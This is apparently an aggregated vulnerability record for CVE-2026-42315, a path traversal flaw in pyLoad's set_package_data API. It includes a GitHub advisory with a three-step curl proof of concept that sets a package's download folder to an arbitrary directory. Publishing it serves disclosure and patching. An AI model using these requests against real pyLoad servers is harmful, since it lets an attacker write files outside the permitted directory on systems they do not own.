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CVE-2026-42315 (GCVE-0-2026-42315)

Vulnerability from cvelistv5 – Published: 2026-05-11 16:35 – Updated: 2026-05-11 20:16

Title

pyLoad: Path Traversal via Package Folder Name in set_package_data

Summary

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-36 - Absolute Path Traversal

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/pyload/pyload/security/advisor…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
pyload	pyload	Affected: < 0.5.0b3.dev100

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FKIE_CVE-2026-42315

Vulnerability from fkie_nvd - Published: 2026-05-11 18:16 - Updated: 2026-05-15 14:29

Severity ?

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary

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Impacted products

	Vendor	Product	Version
	pyload-ng_project	pyload-ng	*

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GHSA-838G-GR43-QQG9

Vulnerability from github – Published: 2026-05-05 21:18 – Updated: 2026-05-13 14:18

Summary

PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data

Details

Summary

No sanitization of package folder name allows writing files anywhere outside the intended download directory.

Affected Component

src/pyload/core/api/__init__.py
Function: set_package_data()

Details

When passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.

PoC

1) Create a package, note response package ID e.g. 5

curl -X 'POST' \
  'http://localhost:8000/api/add_package' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "name": "set_package_data_exploit_poc",
  "links": [
    "http://example.com/file.txt"
  ],
  "dest": 1
}'

2) Call set_package_data for this package ID with an arbitrary directory

curl -X 'POST' \
  'http://localhost:8000/api/set_package_data' \
  -H 'accept: */*' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "package_id": 5,
  "data": {
    "_folder": "/users/root/"
  }
}'

3) New download folder will be set without any checks

curl -X 'GET' \
  'http://localhost:8000/api/get_queue' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>'

Response:

[
  {
    "pid": 5,
    "name": "set_package_data_exploit_poc",
    "folder": "/users/root/",
    "site": "",
    "password": "",
    "dest": 1,
    "order": 1,
    "linksdone": 0,
    "sizedone": 0,
    "sizetotal": 0,
    "linkstotal": 1,
    "links": null,
    "fids": null
  }
]

Impact

Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2026-42315 (GCVE-0-2026-42315)

FKIE_CVE-2026-42315

GHSA-838G-GR43-QQG9

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